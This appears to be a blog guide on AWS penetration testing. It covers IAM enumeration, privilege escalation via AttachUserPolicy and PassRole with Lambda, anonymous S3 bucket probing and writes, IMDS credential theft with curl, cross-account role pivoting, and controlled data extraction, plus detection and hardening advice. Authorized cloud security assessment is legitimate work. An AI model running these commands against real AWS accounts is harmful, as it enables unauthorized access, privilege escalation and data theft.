guides-resources

AWS Pentesting: IAM, S3, EC2, IMDS, and Privilege Escalation

AWS Pentesting: IAM, S3, EC2, IMDS, and Privilege Escalation

AWS Operational Pentesting: Enumerate IAM, S3, EC2, Lambda, and IMDS with AWS CLI, Pacu, ScoutSuite, and Prowler; find misconfigurations and privilege escalation paths.

  • Posted on 2026-08-22
  • Reading time: 11 min

AWS Cloud Pentesting: IAM, S3, EC2, IMDS and Privilege Escalation #

AWS is one of the most popular cloud platforms, and a misconfiguration of IAM, S3, EC2, or serverless services can result in a full-blown privilege escalation. In an AWS cloud pentest, the goal is not just to find exposed resources, but to understand what permissions an identity has, what escalation paths are available, and what the actual blast radius of a compromise would be. This guide covers enumeration and exploitation with the native AWS CLI first, followed by external tools (Pacu, ScoutSuite, Prowler).

When to use it: Authorized cloud pentests, cloud security assessments, HTB/CTF labs with AWS components. What it covers: IAM, STS, S3, EC2/IMDS, Lambda, RDS, Secrets Manager, ECR, KMS. What it doesn't cover: Kubernetes/EKS, Azure, GCP, deep dive into multi-account AWS Organizations—topics for dedicated articles.


What is an AWS Cloud Pentest? #

An AWS cloud pentest verifies whether the actual configuration of the environment—IAM, S3, EC2, serverless services, networking—exposes unintended access paths, in addition to typical application vulnerabilities. It can be conducted in a black-box (without credentials, only enumeration of public resources), grey-box (with low-privilege credentials, to test escalation), or white-box (full access to the configuration, typical of an internal security assessment). The underlying theme is always the same: identity → permissions → escalation paths → blast radius.

AWS Attack Surface: What to Check #

ServiceWhat to look for
I AMOverprivileged policy, trust relationship, path of privilege escalation
STSAssumable roles, temporary sessions, role chaining
S3Public buckets, ACLs, bucket policies, write permissions
EC2Security groups too permissive, IMDS, role assigned to the instance
LambdaEnvironment variable, execution role, downloadable source code
RDSPublic snapshots, network access
Secret ManagerSecrets accessible with current policies
ECRPublic repositories, images with hardcoded secrets
KMSKey policies too permissive, cross-account access
OrganizationsCross-account trust
CloudTrail / GuardDutyWhat is actually logged and detected

Setup and Installation #

For up-to-date guidance, please use the official AWS CLI v2 installer instead of the package. awscli via pip, which is the legacy v1:

bash
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
aws --version

aws configure
# AWS Access Key ID, Secret Access Key, region, output format

AWS Credential Discovery #

Before you leave, check if you already have credentials available on the system you are using:

bash
# File di configurazione locali
cat ~/.aws/credentials
cat ~/.aws/config

# Variabili d'ambiente
env | grep '^AWS_'

With keys found during a pentest (file .env, Git repository, log — see LinEnum on HackIta as they are found on Linux, or Waybackurls on HackIta (to find them in publicly exposed historical JS):

bash
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Always search the repositories for patterns AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN.

Beware of canary tokens #

Some companies plant fake AWS keys (canary tokens) in repositories or configuration files. If you use them, it immediately alerts the security team. Before using a found key, verify that it isn't a canary—HackTricks maintains a dedicated page on how to identify them.


Recon Without Noise #

Every AWS API call that touches a resource can end up in CloudTrail. However, actual coverage depends on the type of event and how CloudTrail is configured: management events are logged by default, while data events (e.g., access to individual S3 objects) often require explicit configuration and aren't guaranteed. Don't assume everything is always tracked, but don't assume the opposite either.

Low-noise (safe to cast first):

  • sts:GetCallerIdentity, sts:GetAccessKeyInfo — no action on resources, only identity
  • s3api get-bucket-acl --no-sign-request — read-only, anonymous, does not affect your account
  • iam:List* / iam:Get* about your identity — enumeration of your own permissions, expected behavior of any user

Noisy (generate alerts with low thresholds):

  • iam__privesc_scan by Pacu — dozens of calls iam:Simulate* in rapid sequence, recognizable pattern
  • ScoutSuite/Prowler full scans — hundreds of calls Describe*/List* on all services and regions in just a few minutes
  • Repeated failed write attempts (PutObject, AttachUserPolicy) on resources where you don't have permissions — every AccessDenied is logged in and a repeating pattern is a classic IOC

Rule of thumb: Targeted manual enumeration when stealth really matters (red team with in-scope detection); automated tool when coverage matters more than discretion (white-box assessment with agreed-upon time window).


IAM Enumeration #

Identify the current identity #

First command, always, before touching any resource:

bash
aws sts get-caller-identity

Returns the account ID and ARN of the user/role. This tells you whether you're an IAM user, an assumed role, or the keys for a service (Lambda, EC2 instance role).

Check if a found key is still active (without touching resources) #

bash
aws sts get-access-key-info --access-key-id AKIA1234567890123456

Returns the Account ID associated with the key without doing any logged actions as “suspicious” — useful for validating a key found during OSINT/recon before actually using it.

Enumerate users, roles, and groups #

bash
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam get-account-authorization-details

get-account-authorization-details Download users, roles, groups, and policies in one go — useful for offline analysis of trust relationships without constantly querying the API.

Analyze IAM policies #

bash
aws iam list-attached-user-policies --user-name current-user
aws iam list-user-policies --user-name current-user
aws iam get-policy-version --policy-arn <policy-arn> --version-id v1

This tells you exactly what you can do before you generate noise in your CloudTrail logs with random requests.

AWS STS and AssumeRole #

STS (Security Token Service) issues temporary credentials when an identity assumes a role. This is the mechanism underlying much cross-account access and many privilege escalation chains:

text
Identità A → sts:AssumeRole → Role B → permessi di Role B (credenziali temporanee)
bash
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/NOME-RUOLO --role-session-name pentest-session

A role can only be assumed if its trust policy explicitly allows it for your identity (or a broader principal, such as the entire account). It's always worth reading the trust policy for each role you're interested in, not just its permissions—sometimes escalation occurs through that, not through direct permissions.

Search for IAM privilege escalation #

There are over 20 known IAM escalation paths (policies that allow you to modify your own policies, create new access keys for other users, and pass roles with higher permissions). Dedicated tool:

bash
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
python3 pacu.py
Pacu (session_name) > run iam__privesc_scan

iam__privesc_scan Automatically tests all known permission combinations for escalation on the current identity.

The most common escalation paths #

PermitPossible impact
iam:AttachUserPolicyyou attach a more privileged managed policy to yourself
iam:PutUserPolicysame idea, with an inline policy instead of a managed one
iam:CreateAccessKeycreate a new access key for another, more privileged user
iam:PassRole + a service that runs code (Lambda, EC2, Glue, CloudFormation)you pass a role with more privileges to a resource you control
iam:UpdateLoginProfilereset another user's console password
sts:AssumeRole on a trusted roleaccess the permissions of that role directly
bash
# Esempio: sfruttare AttachUserPolicy su se stessi
aws iam attach-user-policy --user-name mio-utente --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
bash
# Esempio: PassRole + Lambda per eseguire codice con un ruolo più privilegiato
aws lambda create-function --function-name privesc \
  --runtime python3.12 --role arn:aws:iam::ACCOUNT_ID:role/RUOLO-PIU-PRIVILEGIATO \
  --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name privesc output.json

Map trust relationships automatically #

bash
pip3 install principalmapper --break-system-packages
pmapper graph create
pmapper graph display
pmapper query "who can do iam:AttachUserPolicy"

PMapper builds a graph of all users/roles and shows non-obvious escalation paths — useful when iam__privesc_scan it is not enough because the escalation involves several steps (chain assumptions).


S3: Enumeration and Exploitation #

ACL vs. Bucket Policy #

An S3 bucket can be made public in multiple independent ways: an ACL (legacy object/bucket-level permissions), a bucket policy (bucket-level JSON policy, the modern and more granular mechanism), or the lack of S3 Block Public Access at the account level. Verifying just one isn't enough—a bucket can have a restrictive bucket policy but a permissive ACL on individual objects, or vice versa.

Finding the buckets #

bash
aws s3 ls
aws s3 ls s3://nome-bucket-scoperto --recursive

If you don't have credentials, public S3 buckets are found by name (often pattern azienda-backup, azienda-assets, azienda-prod):

bash
git clone https://github.com/initstring/cloud_enum.git
cd cloud_enum
python3 cloud_enum.py -k targetcorp --disable-azure --disable-gcp

Check permissions without authentication #

bash
aws s3api get-bucket-acl --bucket nome-bucket --no-sign-request
aws s3api get-object-acl --bucket nome-bucket --key file.txt --no-sign-request
aws s3api get-bucket-policy --bucket nome-bucket --no-sign-request

--no-sign-request Try logging in anonymously — if the bucket is public, it works without a key.

Bulk check on bucket list #

bash
for bucket in $(cat buckets.txt); do
  echo "--- $bucket ---"
  aws s3api get-bucket-acl --bucket "$bucket" --no-sign-request 2>/dev/null
  aws s3 ls s3://"$bucket" --recursive --no-sign-request 2>/dev/null
done

Writable bucket — verification upload (PoC, non-destructive) #

bash
echo "PoC bucket scrivibile - HackIta" > poc.txt
aws s3 cp poc.txt s3://nome-bucket/poc.txt --no-sign-request

If the upload succeeds to a public bucket, it's a critical finding: an attacker could be hosting malware or overwriting legitimate files.

Large-scale dedicated scanner #

bash
python3 -m S3Scanner --threads 8 scan --buckets-file bucket-names.txt

S3 as a vector of privacy, not just data leaks #

If you have s3:PutBucketPolicy On a bucket used by other services (e.g., CloudFormation template bucket, EC2 user-data bucket), you can hijack that service by changing the policy instead of simply reading the data:

bash
aws s3api put-bucket-policy --bucket nome-bucket --policy file://policy.json

Case in point: If an EC2 instance loads its user data from a writable S3 bucket, replace the content with arbitrary code—the instance will execute it on its next reboot with its IAM role privileges.


EC2: Security Group, IMDS, and Roles #

Security Group Enumeration #

bash
aws ec2 describe-security-groups --region us-east-1

What to look for in the output:

  • incoming rules from 0.0.0.0/0 (open to all internet)
  • SSH (22) or RDP (3389) publicly exposed
  • exposed database ports (3306 MySQL, 5432 PostgreSQL, 27017 MongoDB, 6379 Redis)
  • application rules that are broader than necessary (an entire subnet instead of the single host that should access it)

IMDS (Instance Metadata Service) #

If you have a shell on an EC2 instance (via SSRF on a web app, or direct access), the real target is the temporary credentials of the IAM role assigned to the instance.

IMDSv1 — no authentication required:

bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME-RUOLO

The second command returns AccessKeyId, SecretAccessKey e Token in clear — use them directly:

bash
export AWS_ACCESS_KEY_ID=<valore>
export AWS_SECRET_ACCESS_KEY=<valore>
export AWS_SESSION_TOKEN=<valore>
aws sts get-caller-identity

IMDSv2 — requires a token, reduces but does not eliminate risk:

bash
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME-RUOLO

IMDSv2 reduces the risk of SSRF targeting the metadata service because it requires a token obtained via a PUT request with a specific header—a simple SSRF redirect is no longer sufficient. However, a sufficiently powerful SSRF vulnerability (capable of setting custom headers and a PUT method) can still reach IMDS. This is precisely the pattern behind the 2019 Capital One breach: SSRF in a web app → IMDS access → IAM credentials → S3 exfiltration. The SSRF reference is discussed in depth in HTTP and HTTPS on HackIta.

EC2 enumeration with valid credentials #

bash
aws ec2 describe-instances --region us-east-1
aws ec2 describe-instances --region us-east-1 --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,SecurityGroups]'

Lambda, RDS and Secrets #

Lambda #

bash
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name NOME-FUNZIONE --region us-east-1

get-function returns a presigned URL to download the function's source code — often containing hardcoded keys or internal business logic.

bash
aws lambda get-function-configuration --function-name NOME-FUNZIONE --region us-east-1

From this command check: environment variables (often containing secrets), assigned execution role, VPC membership, layers used, runtime, timeout, and memory — each of these can reveal an additional vector.

RDS #

bash
aws rds describe-db-instances --region us-east-1
aws rds describe-db-snapshots --region us-east-1 --query 'DBSnapshots[?Attributes[?AttributeName==`restore`]]'

Public RDS snapshots are as common a finding as public S3 buckets.

Secret Manager #

bash
aws secretsmanager list-secrets --region us-east-1
aws secretsmanager get-secret-value --secret-id NOME-SECRET --region us-east-1

ECR and KMS #

ECR (Elastic Container Registry) #

bash
aws ecr describe-repositories --region us-east-1
aws ecr list-images --repository-name NOME-REPO --region us-east-1

Check: repositories with public policy, outdated images with known vulnerabilities, hardcoded secrets in image layers, IAM permissions on repositories that are broader than necessary.

KMS #

bash
aws kms list-keys --region us-east-1
aws kms get-key-policy --key-id KEY-ID --policy-name default --region us-east-1

Check: key policy too permissive, permission kms:Decrypt Granted to large principals, cross-account access is unnecessary. A permissive key policy renders any other protection on data encrypted with that key useless—whoever can decrypt it essentially has access to the data.


Full Automated Scan #

Manual covers what you know you're looking for. Automated covers what you don't know you're looking for.

bash
pip install scoutsuite --break-system-packages
scout aws --profile default

ScoutSuite is primarily a security auditing tool : it queries AWS APIs, collects configurations for each service (IAM, S3, EC2, RDS, Lambda), and presents them in an HTML report detailing the severity of the misconfigurations found. It's not an exploitation framework like Pacu—it's for mapping, not exploiting.

bash
pip install prowler --break-system-packages
prowler aws

Prowler also covers compliance (CIS Benchmark, PCI-DSS, SOC2) in addition to pure misconfigurations.


Post-Exploitation: What to Do After First Access #

Finding a key or an escalation is the beginning, not the end. The real value lies in understanding the blast radius.

Search for other trusted accounts/roles:

bash
aws organizations list-accounts
aws sts assume-role --role-arn arn:aws:iam::ALTRO-ACCOUNT-ID:role/OrganizationAccountAccessRole --role-session-name pivot

If your account is part of an Organization, a misconfigured cross-account role moves you to a whole other environment.

Extract data in a controlled manner (not an indiscriminate dump):

bash
aws s3 sync s3://bucket-target ./evidenza-locale --exclude "*" --include "*.env" --include "*.config"

For a professional report: Take only the files that demonstrate the impact (config with credentials, sample PII data), not the entire bucket — less noise, less risk, sufficient evidence.

Understand blast radius before writing the report:

bash
aws iam simulate-principal-policy --policy-source-arn <arn-utente-compromesso> --action-names s3:DeleteBucket iam:DeleteUser ec2:TerminateInstances

simulate-principal-policy tells you what that identity is could do, without actually executing it — the difference between “I read a file” and “this account could have wiped out the entire infrastructure” is what makes a finding critical or medium in the report.


Validate a Finding Before Writing It in the Report #

Every finding must be confirmed with a practical test, not just hypothesized:

FindingHow to confirm it
Public S3 BucketACL/policy that says so + successful listing + upload attempt (non-destructive PoC)
Overprivileged IAM PolicyDon't just stick to the written policy — actually perform the suspicious action (e.g., attach-user-policy) and check that it passes
IMDS exposedrecovers the role e verify that the obtained token works with sts get-caller-identity
Secret exposedrecover the value e confirm that it is still valid/in use, not a rotated or decommissioned secret

A “theoretical” finding (the policy seems permissive) is worth much less than a “proven” finding (I performed the action and it worked) in a report that is meant to convince a client to invest in remediation.


Common Mistakes and What to Do #

ErrorMeaningWhat to check
AccessDeniedauthenticated but without permissionscheck the policy with simulate-principal-policy before trying again at random
NoSuchBucketThe bucket does not exist with that name/regionCheck exact region, S3 buckets are global in name but endpoint is regional
InvalidClientTokenIdAccess Key ID invalid or deletedthe key has been rotated/revoked, request a new one
SignatureDoesNotMatchIncorrect Secret Key or Desynchronized Clockcheck the system time (date), that's often the problem
UnauthorizedAccessDeny's explicit policyAn explicit Deny always wins over an Allow, look for who enforces it (SCP or direct policy)
ThrottlingAWS rate limitslow down requests, add retry with backoff
ExpiredTokenSTS/IMDS session expiredRegenerate the token, IMDS credentials typically last 6 hours

AWS Pentest Detection: CloudTrail and GuardDuty #

ActivitiesTypical telemetry
IAM EnumerationCloudTrail (event management)
AssumeRoleCloudTrail
Accessing S3 objectsCloudTrail data events, only if explicitly enabled
Lambda InvocationCloudTrail and Application Logs
EC2 API EnumerationCloudTrail
privilege escalationCloudTrail
Access to IMDSHost/application level telemetry, not CloudTrail

GuardDuty analyzes these logs and correlates anomalous patterns (calls from unusual IPs, escalation attempts, use of IMDS credentials from outside the intended instance) — but its effectiveness depends on what CloudTrail actually recorded upstream.


Quick Hardening (Defensive Side) #

  • Least privilege everywhere — policies written for specific action, never wildcards *:*
  • IMDSv2 mandatory (HttpTokens: required) on each EC2 instance
  • S3 Block Public Access active at the account level, not just a single bucket
  • Multi-region CloudTrail + GuardDuty always active, with data events enabled on critical buckets
  • MFA condition (aws:MultiFactorAuthPresent) on destructive or sensitive actions
  • Permission boundary / SCP to limit maximum damage even if an IAM policy is wrong

Limitations and What Can Stop You #

  • CloudTrail → logs event management by default; data events (granular access to S3/Lambda) must be explicitly enabled and are not guaranteed
  • GuardDuty → detects anomalous patterns, but only on what CloudTrail and other source logs provide
  • IMDSv2 mandatory (HttpTokens: required) → the classic curl without token does not work anymore, you still need an SSRF capable of setting custom headers
  • SCP (Service Control Policies) at Organization level → they can block actions even if the local IAM policy would allow them
  • MFA condition on sensitive stocks → some policies require aws:MultiFactorAuthPresent: true, stolen static keys are not enough

Operational Workflow #

text
Chiavi trovate (repo, log, .env) o accesso a un'istanza EC2
      ↓
aws sts get-caller-identity
      ↓
Enumerazione IAM (permessi correnti, trust relationship)
      ↓
S3 / EC2 / Lambda / RDS / ECR / KMS enumeration
      ↓
ScoutSuite / Prowler (scan automatico)
      ↓
Pacu iam__privesc_scan / PMapper
      ↓
Escalation privilegi IAM / AssumeRole cross-account
      ↓
Accesso a dati sensibili / lateral movement

MITRE ATT&CK (Cloud Matrix) #

TacticsTechnology
CredentialAccessT1552.005 — Cloud Instance Metadata API
DiscoveryT1580 — Cloud Infrastructure Discovery
Privilege EscalationT1078.004 — Valid Accounts: Cloud Accounts
CollectionT1530 — Data from Cloud Storage
Initial accessT1190 — Exploit Public-Facing Application (SSRF → IMDS)

Full Matrix: MITER ATT&CK Cloud


Operational Checklist #

text
[ ] aws sts get-caller-identity — sapere chi sei prima di tutto
[ ] Credenziali locali (~/.aws, env AWS_*) verificate
[ ] Enumerazione IAM — policy, ruoli, trust relationship, AssumeRole
[ ] Pacu iam__privesc_scan / PMapper — cercare path di escalation noti
[ ] S3: bucket pubblici, ACL, bucket policy, permessi di scrittura
[ ] EC2: security group, IMDSv1/v2, credenziali del ruolo istanza
[ ] Lambda: codice sorgente, environment variable, ruolo di esecuzione
[ ] RDS: snapshot pubblici
[ ] Secrets Manager: secret accessibili con le policy correnti
[ ] ECR/KMS: repository e key policy
[ ] ScoutSuite / Prowler per la vista d'insieme
[ ] Verifica CloudTrail/GuardDuty se il test richiede stealth

FAQ #

Do I always need an AWS key to start a cloud pentest? No. Many S3 buckets are accessible anonymously with --no-sign-request, and an SSRF on an EC2 app can give you temporary credentials via IMDS without you ever having a key.

Is Pacu legal to use? Yes, it's an open-source framework designed for authorized assessments. Like any malicious tool, it should only be used on AWS accounts you own or with explicit written authorization.

Does IMDSv2 make your account immune to credential theft? No, it reduces the surface area (you need an SSRF capable of setting custom headers and a PUT method; a simple redirect won't do), but it doesn't eliminate the risk. It should always be combined with IAM least privilege.

What is the first command you should always run, without exception? aws sts get-caller-identityBefore any action, know exactly who you are and which account you are trading with.

What's the difference between ScoutSuite and Pacu? ScoutSuite is a security auditing tool that maps configurations and misconfigurations. Pacu is an active exploitation framework that attempts to exploit them. They are used sequentially: first ScoutSuite for the overview, then Pacu to validate escalation paths.

What is IAM privilege escalation? Using legitimate but misconfigured IAM permissions (such as iam:AttachUserPolicy o iam:PassRole) to obtain more permissions than expected, without exploiting a vulnerability in the classic sense.

How do I check if an S3 bucket is public? By checking the ACLs, bucket policies, and the S3 Block Public Access setting—none of these alone provides the complete answer; they need to be checked together.

What is IMDSv2? The version of the EC2 metadata service that requires a token obtained with a PUT request before role credentials can be read—this reduces but does not eliminate SSRF risk to IMDS.

How do I verify the permissions of a compromised AWS key? With aws sts get-caller-identity for identity, then iam:List*/iam:Get* on its policies, and iam simulate-principal-policy to understand what it can actually do without running it.


Official Documentation: AWS Security Best Practices . For the SSRF phase leading to IMDS, see HTTP and HTTPS on HackIta and Penetration Testing Tool on HackIta.

#aws #cloud-security #iam #s3

#AWS Pentesting #AWS IAM #AmazonS3 #Amazon EC2 #IMDS #Pacu #CloudPrivilegeEscalation

leave a message

I'm not a robot